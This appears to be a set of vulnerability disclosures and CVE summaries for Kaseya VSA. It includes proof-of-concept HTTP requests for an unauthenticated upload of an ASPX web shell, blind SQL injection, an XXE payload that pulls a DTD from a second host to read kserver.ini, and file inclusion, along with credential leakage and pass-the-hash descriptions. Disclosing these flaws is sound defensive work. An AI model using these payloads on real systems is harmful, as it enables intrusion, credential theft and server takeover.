Kaseya VSA before 9.5.7 allows credential disclosure, as exploited in the wild in July 2021. By default Kaseya VSA on premise offers a download page where the clients for the installation can be downloaded. The default URL for this page is https://x.x.x.x/dl.asp When an attacker download a client for Windows and installs it, the file KaseyaD.ini is generated (C:\Program Files (x86)\Kaseya\XXXXXXXXXX\KaseyaD.ini) which contains an AgentGuid and AgentPassword This AgentGuid and AgentPassword can be used to log in on dl.asp (https://x.x.x.x/dl.asp?un=840997037507813&pw=113cc622839a4077a84837485ced6b93e440bf66d44057713cb2f95e503a06d9) This request authenticates the client and returns a sessionId cookie that can be used in subsequent attacks to bypass authentication. Security issues discovered --- Unauthenticated download page leaks credentials Credentials of agent software can be used to obtain a sessionId (cookie) that can be used for services not intended for use by agents dl.asp accepts credentials via a GET request Access to KaseyaD.ini gives an attacker access to sufficient information to penetrate the Kaseya installation and its clients. Impact --- Via the page /dl.asp enough information can be obtained to give an attacker a sessionId that can be used to execute further (semi-authenticated) attacks against the system.
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void PageLoad(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; Response: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP -----
Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.33, 8.x before 8.0.0.23, 9.0 before 9.0.0.19, and 9.1 before 9.1.0.9 does not properly require authentication, which allows remote attackers to bypass authentication and (1) add an administrative account via crafted request to LocalAuth/setAccount.aspx or (2) write to and execute arbitrary files via a full pathname in the PathData parameter to ConfigTab/uploader.aspx.
Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.0.0.0 before 7.0.0.33, 8..0.0.0 before 8.0.0.23, 9.0.0.0 before 9.0.0.19, and 9.1.0.0 before 9.1.0.9 allows remote authenticated users to write to and execute arbitrary files due to insufficient restrictions in file paths to json.ashx.
An issue was discovered in Kaseya Virtual System Administrator (VSA) through 9.4.0.37. It has a critical information disclosure vulnerability. An unauthenticated attacker can send properly formatted requests to the web application and download sensitive files and information. For example, the /DATAREPORTS directory can be farmed for reports. Because this directory contains the results of reports such as NMAP, Patch Status, and Active Directory domain metadata, an attacker can easily collect this critical information and parse it for information. There are a number of directories affected.
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> And the following XML file hosted at http://192.168.1.170/oob.dtd: <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> Security issues discovered --- The API insecurely resolves external XML entities The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
It is possible to exploit a Time of Check & Time of Use (TOCTOU) vulnerability by winning a race condition when Kaseya Virtual System Administrator agent 9.3.0.11 and earlier tries to execute its binaries from working and/or temporary folders. Successful exploitation results in the execution of arbitrary programs with "NT AUTHORITY\SYSTEM" privileges.
An issue was discovered in Kaseya VSA RMM through 9.5.0.22. When using the default configuration, the LAN Cache feature creates a local account FSAdminxxxxxxxxx (e.g., FSAdmin123456789) on the server that hosts the LAN Cache and all clients that are assigned to a LAN Cache. This account is placed into the local Administrators group of all clients assigned to the LAN Cache. When the assigned client is a Domain Controller, the FSAdminxxxxxxxxx account is created as a domain account and automatically added as a member of the domain BUILTIN\Administrators group. Using the well known Pass-the-Hash techniques, an attacker can use the same FSAdminxxxxxxxxx hash from any LAN Cache client and pass this to a Domain Controller, providing administrative rights to the attacker on any Domain Controller. (Local account Pass-the-Hash mitigations do not protect domain accounts.)
Semi-authenticated local file inclusion The contents of arbitrary files can be returned by the webserver Example request: https://x.x.x.x/KLC/js/Kaseya.SB.JS/js.aspx?path=C:\Kaseya\WebPages\dl.asp A valid sessionId is required but can be easily obtained via CVE-2021-30118
Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.
Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote authenticated users to read arbitrary files via a crafted HTTP request.
kapfa.sys in Kaseya Virtual System Administrator (VSA) 6.5 before 6.5.0.17 and 7.0 before 7.0.0.16 allows local users to cause a denial of service (NULL pointer dereference and application crash) via unspecified vectors.